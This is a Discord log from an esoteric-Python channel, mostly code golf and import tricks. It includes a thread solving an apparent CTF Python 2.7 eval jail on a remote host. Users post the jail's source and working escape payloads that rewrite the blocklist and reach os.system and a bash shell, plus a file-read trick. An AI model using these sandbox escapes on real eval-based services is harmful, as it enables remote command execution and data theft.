#esoteric-python

1 messages · Page 33 of 1

burnt pasture
#

unit tests will be the best use of your time.

versed eagle
#

to do what

#

and wdym

main whale
#

can I modify a package so that one of its modules can be in a different location? So you can still do "From X.Y import Z" but Y is actually in a different location than X?

(I will know the location and have full control of package X, but not much control of Y)

fleet lintel
main whale
#

thanks, in this case I am able to get the import by modifying sys.modules, eg

file X:

sys.modules["X.Y"] = Z```

Another file:
```from X import Y```

this works to give me Z, as though it was part of X
#

however, my new problem is that VSStudio won't know about the sys.modules modification, so while it works at runtime, there's no code autocomplete - thats what im trying to figure out now, how to get the autocomplete to know whats in Z, even though I manually added it to sys.modules

fleet lintel
#

So can you not do from X import Z as Y?

main whale
#

i can the issue is Z might move around somewhere else in the system

#

Z is a file provided by a modder

#

I can scan the directories at startup, find file Z, and then modify sys.modules so that from ___ import Z will work consistently, regardless of where Z moves

fleet lintel
#

The simplest thing I can think of would be to have a dummy Y that gets imported in the other file, but then at run time gets overwritten by the Y from X.

main whale
#

that should prevent the visual studio warning on the import, though i am hoping to find a way to also get code autocomplete for the real class rather than the dummy, so that a second modder can extend the first modders work

#

i know this may not be practically feasible so thank you for thinking on it and sorry if not

#

(these mods might be files from the steam workshop for example, or they might be repos someone clones into a mods folder something like that)

#

(my alternative is to make a mod installation process that moves the files to a known location on install, and somehow tracks what file is from what mod so you can still uninstall them - thats the effort to avoid)

fleet lintel
#

From my C# BepInEx modding experience that's just how it is. The mod can't reference the actual game dll, so the game modding toolkit includes a dummy game dll with all the same function names and signatures, but no functionality. That then gets a correct pointer to the actual game at run/injection time.

main whale
#

thanks for the perspective

versed eagle
#

then, you don't need to worry about Z moving around

main whale
#

The problem is the extensions need to be packaged with a bunch of unrelated files

#

So if I have a dedicated directory, then I am responsible to copy the related files out of their natural home (likely the folder of assets etc the modder has provided, possibly a locally checked out repo) and then manually keep them in sync

#

Thanks for the tip on import hooks looking them up now

versed eagle
#

or, better yet, have one top-level extension folder

#

and just put any extension stuff in that using the same file-structure as whatever else uses

#

if they reference a assets/somefile.png, it would reference that inside the subdirectory

main whale
#

Hmm

#

I suppose I could just add all their parent dirs to sys.path during program start

versed eagle
#

what

main whale
#

Wherever they are they could be imported by their raw module name

#

So I inspect the mods folders, find the relevant modules, and do sys.path.append(module_parent_dir) then just import Module

#

And for one modder to get VSCode autocomplete on another modder’s work, they can add it’s parent folder to the workspace search paths

versed eagle
#

there's a better way to do that

versed eagle
#

that would be a lot simpler than dynamically detecting modules, especially since you have no idea how their code is structured

main whale
#

why is that better? (and/or, whats wrong with adding to sys.path to save on init.py files?)

#

ahh i can see how it solves the autocomplete issue... ok

#

from modsdir.moddirectoryname.mod import mod

versed eagle
crystal charm
#
with open("database.json", "r") as data_file:
        database = data_file.read()
#

how is data_file string?

astral rover
crystal charm
#

I didnot use read in any where else

astral rover
#

your using load which takes an fp, not loads which takes the string here

crystal charm
#
 with open("database.json", "r") as data_file:
        database = data_file.read()
        data = json.load(database)
crystal charm
#

none reply there

versed eagle
versed eagle
crystal charm
#

bro just help me with this

versed eagle
#

go to pygen, the help forum things, or a relevant topical channel

crystal charm
#

second time I will go to posts

versed eagle
crystal charm
#

bruh

versed eagle
#

and i did help you

crystal charm
#

the error about read not load

versed eagle
#

the error happens because you pass a string to something that expects a file

#

and again, this is the wrong channel

sick hound
#

Hello ! I would like to make a desktop application, on which I can make updates, a bit like League of Legends, will it have a name?
please

#

pls it's the good channel

sick hound
#

arff

#

can u redirect me pls ?

versed eagle
sick hound
#

tyyy

#

with a sad emotion in my voice

versed eagle
#

why do people never read the channel descriptions

#

:/

sick hound
#

i seen it and i closed it sry (i see the schema, looked like complicated)

humble rune
#

Is there a method to define and get a value from a dictionary in one line

#

Like right now I have

cc={17:4,18:2,19:0,20:6,21:4,22:2,23:0}
cc=cc[int(str(y)[0:2])]```
versed eagle
versed eagle
humble rune
#

Thanks, I don't know why I didn't just consider parentheses lol

humble rune
# versed eagle although that's useless since it overwrites itself

I'm using it to get days of the week, it works

 
def getdotw(y,m,d):
    m=m-1
    yc=int(str(y)[2:])
    yc=(yc+(yc//4))%7
    mc=[0,3,3,6,1,4,6,2,5,0,3,5][m]
    cc={17:4,18:2,19:0,20:6,21:4,22:2,23:0}
    cc=cc[int(str(y)[0:2])]
    ly=0
    if not(((int(y)/4)==0)or((y/400)==0)):ly=-1
    return"Su Mo Tu We Th Fr Sa".split()[((yc+mc+cc+d+ly)%7)+1]```
versed eagle
#

ok but what's the point of assigning the first dict to a variable

#

you overwrite it immediately after

humble rune
#

Shortening code as much as possible

versed eagle
#

??

#

you're just wasting an assignment then

#

cc={...}[...]

#

just do that

humble rune
#

{}[] doesn't work

versed eagle
#

yes it does

humble rune
#

Nah look

versed eagle
#

!e

print({"a":1,"b":2}["a"])
night quarryBOT
#

@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.

1
humble rune
#

Oh nvm

#

You were right

versed eagle
#

a bug in your code is a bug in your code. it works

#

lol

humble rune
#

Must have messed up first time lol

humble rune
#

Is there any further improvement I can make upon this?

#
getdotw=lambda y,m,d:-~((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+{17:4,18:2,19:0,20:6,21:4,22:2,23:0}[int(str(y)[0:2])]+d+(-1*(not((y%4==0)|(y%400==0)))))%7```
stiff wigeon
#

I am really not accustomed to there being no spaces, haha.

humble rune
#

Lol

#

I'm just gonna start removing random parentheses until things break

low lynx
humble rune
#

Sounds cool anyways, what is it?

versed eagle
#

mul has higher precedence than add

humble rune
#

Noice

versed eagle
humble rune
#

Woah

versed eagle
#

its a leap year if (! y % 4) && ((y % 100) || (! y % 400))

low lynx
#

!e

d = {}
print(d.setdefault(1, 2))
print(d)
night quarryBOT
#

@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 2
002 | {1: 2}
versed eagle
#

should work

#

and fix the bug

digital mesa
#

any simplification?

print("".join(filter(__import__("functools").reduce(set.intersection, map(set, (x := input().strip().split(", ")))).__contains__, "".join(x))))
earnest wing
#

reduce(set.intersection, x) is just set.intersection(*x)

fleet lintel
plush halo
#

!e```py
foo = {1, 2, 3}
foo.add(-1)
foo.add(1_024)
print(foo)
print(list(foo))

night quarryBOT
#

@plush halo :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | {1024, 1, 2, 3, -1}
002 | [1024, 1, 2, 3, -1]
unique heath
#

#bot-commands

humble rune
#
getdotw=lambda y,m,d:((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+((3-int(str(y)[:2]))%4)*2+d+-1*(-((y%4<1)and(y%100>0 or y%400<1))))%7```
unique heath
#

so what are we doing?

humble rune
#

!e

getdotw=lambda y,m,d:((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+((3-int(str(y)[:2]))%4)*2+d+(-((y%4<1)and(y%100>0 or y%400<1))))%7
print(getdotw(2023,9,5)==2)#True
print(getdotw(2023,9,6)==3)#True
print(getdotw(2024,9,5))
print(getdotw(2024,9,6))```
night quarryBOT
#

@humble rune :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | True
002 | True
003 | 3
004 | 4
surreal cloak
#

i need 10 extra iq points to be able to finish my script, any ideas where to look?

unique heath
#

hi

#

welcome to hell

humble rune
#

i dont know what i fixed

#

but it works now ig

#
getdotw=lambda y,m,d:((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+((3-int(str(y)[:2]))%4)*2+d-1*(y%4<1 and(y%100>0 or y%400<1)))%7```
#

lost 6 characters by replacing

[0,3,3,6,1,4,6,2,5,0,3,5][~-m]```
with
```py
int("033614625035"[~-m])```
humble rune
#

yeah

#

it decreases month by 1

distant salmon
#

Why not just change the string instead

humble rune
#

TRUE

#

i didnt even think of that

#

shaved 1 char

#

nice

humble rune
#

leap years

distant salmon
#

But like why couldnt you just remove 1*? I dont see a situation where multpling by 1 would do anything

humble rune
#

test for today works

humble rune
distant salmon
#

Something else I don't get is int(str(y)[2:])

#

is y a string or an int?

humble rune
#

its a integer

#

theres no other way that i know of for getting specific digits of ints

distant salmon
#

As an example, if y = 1994, then are you trying to get 94?

#

Wouldnt that just be y%100?

humble rune
#

i feel stupid

distant salmon
digital mesa
#

and that is what it shows up as (if you input lowercase, as the tests do)

distant salmon
#

Feels like it should be possible to save at least 1 more byte

#

hmmm, maybe it isn't possible

#

https://codegolf.stackexchange.com/a/50891 beat the current best python solution for the problem by 9 bytes

humble rune
#

current working code:

getdotw=lambda y,m,d:((((a:=y%100)+a//4)%7)+int(" 033614625035"[m])+((3-int(str(y)[:2]))%4)*2+d-(y%4**-~(y%25<1)<1))%7```
distant salmon
versed eagle
#

i was just treating the int(str(y)[:2]) as an opaque thing since at the time i didn't know what it was supposed to be doing

distant salmon
restive void
distant salmon
distant salmon
#

Hmm I wonder if it is possible to make the leap year check shorter. I am able to come up with multiple solutions of the same length

y%4**-~(y%25<1)<1
4**(y%5>0)*y%16<1
y**-~(y%5>0)%16<1
fleet bridge
#

I wonder, how much time you spend making this?

surreal cloak
#
kfc,mcd = str(8 * 10**3 + 1 * 10**2 + 1 * 10**1 + 1 * 10**0),52050554054055.5 
output_string = "".join([chr(int((f"{int(mcd*2)}{kfc}")[i:i+3])) for i in range(0, len((f"{int(mcd*2)}{kfc}")), 3)])
fleet bridge
#

!e ```py
kfc,mcd = str(8 * 103 + 1 * 102 + 1 * 101 + 1 * 100),52050554054055.5
output_string = "".join([chr(int((f"{int(mcd2)}{kfc}")[i:i+3])) for i in range(0, len((f"{int(mcd2)}{kfc}")), 3)])
print(output_string)

night quarryBOT
#

@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.

hello̫
fleet bridge
#

Hi!

distant salmon
#

I have a question about set in CPython. Does anyone know of an example where list(set(A)) doesn't maintain the original order of A?

dreamy pier
#

!e

print(list(set([2, 1])))
night quarryBOT
#

@dreamy pier :white_check_mark: Your 3.11 eval job has completed with return code 0.

[1, 2]
distant salmon
#

Oh hmm

#

!e

print(list(set([1,2])))
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

[1, 2]
distant salmon
#

!e

print(list(set([23, 21, 22])))
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

[21, 22, 23]
distant salmon
#

Someone should make a sorting algorithm called setsort

distant salmon
#

!e

A = [*range(10)] + [*range(10, 20)][::-1]
print(list(set(A)))
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]
night quarryBOT
#

@restive void :white_check_mark: Your 3.11 eval job has completed with return code 0.

[8, 1]
distant salmon
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

[1, 2, 3, 4, 5, 8]
distant salmon
#

!e

import random
random.seed(1337)
n = 10**5
A = list(range(n))
random.shuffle(A)
print(list(set(A)) == sorted(A))
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

True
distant salmon
#

It works!

restive void
#

Yeah, if no entries are missing. At that point you may as well just store range(n).

#

(it also stops working when the numbers get large)

distant salmon
night quarryBOT
#

@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

True
distant salmon
unique heath
#

setsort

distant salmon
#

Hmm this is giving me some funny ideas. I could make a priority queue out of this.

night quarryBOT
#
Missing required argument

code

#
Missing required argument

code

wheat valve
#

!e

night quarryBOT
#
Missing required argument

code

#
Command Help

!eval [python_version] <code, ...>
Can also use: e

Run Python code and get the results.

This command supports multiple lines of code, including formatted code blocks. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.

The starting working directory /home, is a writeable temporary file system. Files created, excluding names with leading underscores, will be uploaded in the response.

If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside them.

Currently only 3.11 version is supported.

We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!

fleet bridge
#

please go to #bot-commands

dreamy pier
#

!e not actually large

import random

A = [32, 0, 72, 81, 56]
print(list(set(A)) == sorted(A))
night quarryBOT
#

@dreamy pier :white_check_mark: Your 3.11 eval job has completed with return code 0.

False
distant salmon
main whale
#

Is this the esoteric python channel? yes. Is this question esoteric? I think so but you can be the judge:

#

Is there any way I can embed some text in a module filename without it impacting the "from modname" setup?

Basically, I want to mark some of my module files in a generic way that .gitignore knows to include them - so I thought maybe if there's an escape character or some way to modify the python file without messing up the import, I could put a flag in the filename and make a gitignore pattern for it

#

my problem broadly is: I need to gitignore anything downstream users add to my package repo after checking it out, but I need my upstream modules to stay part of the package repo

#

(and I can't separate them into separate packages because they all need to be importable with "from packagename.modname")

rugged sparrow
main whale
#

thanks chilaxan - I understand how to do this manually on a per-file basis, and I am looking for a way to do it automatically - where I can set one gitignore rule and then just name my python files in such a way they're covered by it

#

maybe I could try adding a second file extension before the .py, if python for example ignores everything after the . (edit: it doesnt work)

rugged sparrow
#

make a script to auto generate your .gitignore, messing with filenames is asking for weird bugs

unique heath
#

Golfing, Python VM languages, obfuscation, code gore and other general Python weirdness (lambda: "esoteric python")()

fleet bridge
fleet bridge
versed eagle
#

!e (minor) parser error

f(A,*)
night quarryBOT
#

@versed eagle :x: Your 3.11 eval job has completed with return code 1.

001 |   File "/home/main.py", line 1
002 |     f(A,*)
003 |       ^
004 | SyntaxError: iterable argument unpacking follows keyword argument unpacking
restive void
midnight valve
#

has anyone taken a poke at , mojo python yet ?

unique heath
#

wrong channel

delicate hound
#

Given a python server that runs Python 2.7, takes arbitrary user input,

  • checks these 7 characters ':', '\', '.', '[', '{', ']', '}' for rejection
  • then evaluates that input in eval with the global context but with these 4 identifiers 'eval', 'getattr', 'input', 'help' set to None and with 'os' imported,
  • is there still a way to get access to the server shell for arbitrary command execution?
    Probably yes. But I have zero idea what to write to bypass these restrictions.
fleet bridge
#
from os import system
system('echo hello world')
delicate hound
#

statements won't work in eval

fleet bridge
#

i see

delicate hound
#

I searched all over the internet for this and like all of them use the banned 7 characters in some way

#

and since this is python 2.7, exec the statement won't run inside eval

fleet bridge
#

it is possible to use a lot of memory: 'x'*10**10
it is bad, but not as bad as access to system shell

delicate hound
#

Yea

fleet bridge
#

why 2.7?

delicate hound
#

Eval and exec trickery I guess

#

But it was given to me like that

fleet bridge
#

2.7 dont even work on my pc :(

delicate hound
#

Awh

#

I looked for some way for attribute access

#

The main 3 ways (dot, indexer with [ ], getattr) are all banned here

fleet bridge
#

setattr and delattr are still available, maybe it is possible to use them somehow

delicate hound
#

Yea

#

I hoped I could run the del statement somehow

#

such that eval is accessible again

#

and then I get attribute access

#

But it doesn't work that way

#

Statements won't run in eval

fleet bridge
#

del __builtins__ will work, but it is a statement

#

(in 3.11, idk what would happen in 2.7)

delicate hound
#

execfile is there but those 4 identifiers set to None are still carried onto the inner evaluation

#

open is there but I don't have access to file writing (maybe?)

#

__import__ is there but I can't import a function directly without attribute access

fleet bridge
#
type('',(),dict(__getitem__=))()[]
``` im out of ideas
delicate hound
#

iter and next inside global() only lists keys without values

delicate hound
#

But still thanks for trying to help

earnest wing
#

also i'm assuming exec is filtered out, too 😆

fleet bridge
#

there is no exec function in py2.7

earnest wing
#

oh 2.7

#

yipes

delicate hound
#

(use open(str(...)) for output)

fleet bridge
#

you can send type('',(),dict(__eq__=bool))(), this will be treated as valid answer

delicate hound
#

Yea

#

But it's still within the confines

fleet bridge
#

oh ```py

Sanity Check: Are you a human? [y/n] type('',(),dict(eq=bool))()
Cheating is not allowed!

delicate hound
#

!?

#

I wasn't told about this lmao

fleet bridge
#

i think i was typing this too fast

#

it works, if you do it like a human

delicate hound
#

Mhm

fleet bridge
#
os._exit()
Traceback (most recent call last):
  File "app.py", line 44, in <module>
    raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
BaseException: Attack attempt detected! ".", try harder.
delicate hound
#

Yea the banned characters

#

. : \ [ ] { }

#

But my direction was to dir() and look for anything useful

#

which didn't ring a bell

fleet bridge
#

how to get some text info from it?
print is statement, raise is also statement

#

i want to know the list of locals in the scope

delicate hound
#

open(str(...))

#

This is how got results

#

The result will be in the error message

fleet bridge
#
open('app' + chr(46) + 'py')
Wrong answer, try harder.
open(str())
[Errno 2] No such file or directory: ''
Wrong. Bye!
``` i dont understand what you mean
#

oh, i see

delicate hound
#

yea

#

open(str(1)) gets you 1

#

as part of the error message

fleet bridge
#
open(str(os))
name 'os' is not defined
``` looks like it is not imported
#

vars(x) == x.__dict__

delicate hound
#

Hmm

#

__import__("os") should work I guess

unique heath
#

wyd

delicate hound
#

If I can do attribute access then I can still import everything in os through eval

fleet bridge
#
reload(__import__('__builtin__')),getattr(__import__('os'),'system')('echo hi')
'NoneType' object is not callable
delicate hound
#

Which would be the way for shell

#

getattr banned

#

getattr input help eval are set to None

fleet bridge
delicate hound
#

Ohh

unique heath
delicate hound
#

without quotes?

unique heath
#
getattr(os, "system")("stuff")```
unique heath
delicate hound
#

Yess

unique heath
#

but tbh they should use subprocess instead

hasty temple
delicate hound
#

Linux?

fleet bridge
#

sadly there is no walrus in py2.7

delicate hound
#

If this had been py3 then exec is easy

hasty temple
fleet bridge
unique heath
#

!e

getattr(__import__("os"), "system")("echo hello")```
night quarryBOT
#

@unique heath :warning: Your 3.11 eval job has completed with return code 0.

[No output]
unique heath
#

huh

fleet bridge
#
If you solve 100 of these equations, I'll give you the flag again :)
-230*210
execfile('app'+chr(46)+'py')
If you solve 100 of these equations, I'll give you the flag again :)
136*-224
execfile('app'+chr(46)+'py')
'NoneType' object is not callable
Wrong. Bye!
``` huh
#
type(str(123),(),dict())()()
'123' object is not callable
``` another way to get text data
hasty temple
#

couldnt get it to work in either wsl or a vm 🤷‍♂️

delicate hound
fleet bridge
#
>>> '{x[system]}'.format(x=vars(__import__('os')))
'nt.system'
#

if we somehow can call str.format, we can get string representation of some attribute

#

{}[] can be replaced with chr(...)

#

builtins.format does different thing

delicate hound
#

interesting

#

so this can be used to index

#

but it can't be used to call I guess

#

ah it also supports dot access

fleet bridge
#
>>> str.format(chr(123) + 'x' + chr(46) + 'system' + chr(125), x=__import__('os'))
'nt.system'
``` yes
sick hound
#

Hi guys i just readed
https://www.codingame.com/blog/code-golf-python/
and
https://code.golf/wiki/langs/python

but i couldnt found anything releated to examples of how to apply bitwise operators in golfing
if someone know about more articles or something let me know

CodinGame Blog

From people willing to learn all the ins and outs of a programming language to people wanting to put their esoteric language skills to use - code golf has always been the type of competition

earnest wing
# delicate hound `nc chal.firebird.sh 35010`

source here :3

import random
import sys

def check(s):
    for b in blocklist:
        if str(s).find(blocklist[b]) > -1:
            return b
    return None

blocklist = {
    "fullstop": ".",
    "back_slash": "\\",
    "open_square_bracket": "[",
    "close_square_bracket": "]",
    "open_curly_bracket": "{",
    "close_curly_bracket": "}",
    "colon": ":"
}
DISABLE_FUNCTIONS = ["getattr", "eval", "help", "input"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

print "If you solve 100 of these equations, I'll give you the flag again :)"

for i in range(100):
    if i >= 50:
        if random.randint(1, 50) > 47:
            san = raw_input("Sanity Check: Are you a human? [y/n] ")
            b = check(san)
            if b is not None:
                raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
            if san.lower() != 'y':
                print "Cheating is not allowed!"
                sys.exit()

    a = random.randint(-0xff,0xff)
    b = random.randint(-0xff,0xff)
    op = random.choice(["*","+","-"])
    try:
        eq = str(a)+op+str(b)
        user = raw_input(eq+"\n")
        b = check(user)
        for i in range(3):
            if b is not None:
                raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
            if eval(user, DISABLE_FUNCTIONS) == eval(eq):
                break
            else:
                if i == 2:
                    raise BaseException("You have made too many mystiz. Bye.")
                user = raw_input("Wrong answer, try harder." + "\n")
                b = check(user)
    except Exception as e:
        print e
        print "Wrong. Bye!"
        sys.exit()

print "Again. Trust no one :) Thx for playing."
delicate hound
#

wow

#

you did it

#

and I am stuck

earnest wing
#

for anyone that's wondering, the eval immediately gives you an arbitrary file read (just open(str(list(open(some path)))) to read file contents), so i thought it would be fun to poke around in /proc/self/ and yes indeed this script is located at /app/app.py

#

nothing super interesting though i don't think you can get a root shell from that alone shrug

delicate hound
#

oh

fleet bridge
#

i figured this out!

#

gimme a sec

#

||```py
$ nc chal.firebird.sh 35010
If you solve 100 of these equations, I'll give you the flag again :)
55-22
next(iter((0,delattr(import('main'),'blocklist'),setattr(import('main'),'blocklist',list()))))
Wrong answer, try harder.
globals().setitem('system', lambda s: (type('',(),dict(eq=id))(),import('os').system(s))[0])
Wrong answer, try harder.
system('echo hi!')
hi!
-132--94
system('ls')
app.py
-222+110
system('python3 -V')
sh: 1: python3: not found

#

||
Clear list of disallowed characters:
next(iter((0,delattr(__import__('__main__'),'blocklist'),setattr(__import__('__main__'),'blocklist',list()))))
(i think delattr part here ^ is not requred)
Set global function that calls os.system and returns object that is equal to everything:
globals().__setitem__('system', lambda s: (type('',(),dict(__eq__=id))(),__import__('os').system(s))[0])
Do whatever you want:
system('echo hi!')
||

fleet bridge
#

extracting source code is a lot easier: ```py
open(str(list(open('app'+chr(46)+'py'))))

[Errno 36] File name too long: <filename>

do this locally:

s = <filename>
print(''.join(eval(s)))

rugged sparrow
# fleet bridge ||```py $ nc chal.firebird.sh 35010 If you solve 100 of these equations, I'll gi...

||sh $ nc chal.firebird.sh 35010 If you solve 100 of these equations, I'll give you the flag again :) 189*-96 setattr(__import__('__main__'),'blocklist',dict()) Wrong answer, try harder. __import__('os').system('bash') bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell firebird@62565c2126b4:/app$ || you can also just drop out to a shell pretty easily

fleet bridge
#

how does nc work? is it redirecting stdin/stdout of process directly into network?

#

i did cat readflag and it screwed everything

#

file content looks like this

#

echo hi looks like this

#

bruh, even my wsl shell is broken

#

and cmd.exe too!

rugged sparrow
fleet bridge
#

there are 2 files in /: flag and readflag
readflag is big, readable and contains some garbage
flag is small and not readable

fleet bridge
rugged sparrow
#

cat'ing readflag probably sent a ton of random control sequences when it was printing the raw file content

fleet bridge
#

i think it is some obfuscated cpp program

rugged sparrow
#

it probably isn't too obfuscated tbh. most likely a setuid binary that just opens flag and prints it

fleet bridge
#

there are some random words in this binary
LC * probably refers to locales

#

__PRETTY_FUNCTION__ is cpp macro

earnest wing
#

executables have lots of metadata

versed eagle
#

it can mess up your terminal :3

#

using reset (a special case of tset) should fix it @fleet bridge

delicate hound
#

oh wow thanks

#

so the main idea is to delattr the variable from the main

#

I'll try to work this out myself

#

before looking at it seriously

arctic skiff
#

pydis paste doesn't let you paste a long single line esoteric code

delicate hound
#

I think I would never have figured out __import__('__main__') myself

arctic skiff
delicate hound
#

but it's part of the solution

arctic skiff
#

what the hell

delicate hound
#

scroll up

arctic skiff
#

no thanks never mind

delicate hound
#

you're welcome?

#

this is too ginormous brain for me

versed eagle
#

code golf is annoying

#

ive found 3 different 38's but cant make it shorter

#

apparently there's 2 more bytes that can be saved though

rugged sparrow
versed eagle
quartz wave
versed eagle
#

thats one of my 38's

#

three 38's, and a 43 ||```py

loop

38

a,b=0,1
while a<1e6:print(a);a,b=b,a+b

exec stringmul

38

a,b=0,1;exec("print(a);a,b=b,a+b;"*31)

38

a=b=1;exec("print(b-a);a,b=b,a+b;"*31)

recursion

43

def f(a,b=1):a<1e6<(print(a),f(b,a+b))
f(0)

versed eagle
quartz wave
versed eagle
#

okie

distant salmon
#

I've got a really weird looking 37 byte solution

distant salmon
#

I dont see how to get it down to 36

#

Been thinking if there is some nice property of 832040 (or the fibonacci numbers close to it) that lets me break the while loop with a short check, but I havent found anything better than something like <1e6

#

That pesky 0 gets into the way

#

It would be so much easier to print the fibonacci numbers starting with 1 1 rather than 0 1

quartz wave
distant salmon
#

Do you mean > or <

quartz wave
distant salmon
#

I dont think there is any 1 character change I can make to my 37byte to get it down to 36byte

#

I would have 36 byte in Python2

quartz wave
#

||```
initial
1 1
first iteration
0 1
second iteration
1 2
third iteration
1 3
fourth iteration
2 5

distant salmon
#

Thats not what I'm doing, but ok

quartz wave
distant salmon
#

I've got a 35b solution for n=29

#

also 35b for n=28

sick hound
distant salmon
#

Now I've checked. My 35b solution would work for n =
[2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 33, 34, 35, 36, 37, 38, 39, 41, 42, 43, 44, 45, 47, 48, 50, 51, 52, 53, 54, 55, 56, 57, 59, 66, 67, 68, 69, 70, 71, 72, 74, 75, 77, 82, 83, 84, 88, 89, 90, 93, 95, 96, 98, 99, 107, 117, 119, 131, 167]

#

But unfortunately n=31 is not on the list sadness

#

Why did they have to pick exactly n=31

unique heath
#

that might be why

distant salmon
#

Another thing I noticed about that site is that if you get AC even if you technically RTE after printing the answer

#

So maybe it could be possible to exit a while loop by dividing by 0

pearl socket
#

!e

message = 'hello pydis'
import __main__ as globalnamespace
print(globalnamespace.message)
night quarryBOT
#

@pearl socket :white_check_mark: Your 3.11 eval job has completed with return code 0.

hello pydis
unique heath
#

thats just m="hello pydis";print(globals()["m"])

#

!e

m="hello pydis";print(globals()["m"])
night quarryBOT
#

@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

hello pydis
pearl socket
#

it's mutable which is kind of cool

#

!e

var = 'abc'
import __main__ as gn
print(gn.var)
something_else = 'def'
print(gn.something_else)
night quarryBOT
#

@pearl socket :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | abc
002 | def
versed eagle
unique heath
#

!e py (__:=__package__.__dir__().__len__(),eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(___)).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__)).__add__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__)))))))(__builtins__.type(__builtins__.list.__call__()).__getitem__(__builtins__.type(__builtins__.list.__call__()).__call__(__builtins__.type(__builtins__.tuple.__call__()).__add__((j:=(((-~int().__add__(-~int())).__pow__(int())),((-~int().__add__(-~int())).__pow__(int()).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()))))),(((-~int().__add__(-~int())).__pow__(-~int())).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()).__add__(-~int()))))))),__builtins__.type(__builtins__.tuple.__call__()).__getitem__(j,__builtins__.type(__builtins__.slice.__call__(None,None,None)).__call__(None,None,~-int())))),__builtins__.slice.__call__(-~int(),None,-~(-~int())))))})().E())

night quarryBOT
#

@unique heath :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "/home/main.py", line 1, in <module>
003 |     (__:=__package__.__dir__().__len__(),eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(___)).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__)).__add__(__.__add__(__name__
... (truncated - too long)

Full output: https://paste.pythondiscord.com/ZYSSRWDBQIHO7PCPXJL3KCIWZE

unique heath
#

..

#

DID WE UPDATE TO PY 3.11.5

#

!e

